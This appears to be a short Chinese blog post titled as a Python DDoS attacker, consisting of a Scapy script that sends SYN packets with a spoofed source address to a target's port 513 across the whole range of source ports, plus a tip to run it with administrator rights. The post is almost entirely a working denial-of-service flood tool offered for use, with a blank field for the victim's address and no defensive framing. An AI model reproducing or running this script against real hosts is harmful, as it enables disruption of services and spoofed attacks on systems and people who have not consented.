python ddos攻击器

from scapy.all import *

def synFlood ( src , tgt ):


    for sport in range(1024, 65535):
        IPlayer = IP(src = src, dst = tgt)
        TCPlayer = TCP(sport = sport, dport = 513)
        pkt = IPlayer / TCPlayer
        send(pkt)

src = '10.1.1.12'
tgt = ''#目标地址
synFlood(src,tgt)

记得要以管理员权限打开cmd,输入scapy
再写入代码。

上一篇:最大子数组和


下一篇:IY2840 Threat Detection and Core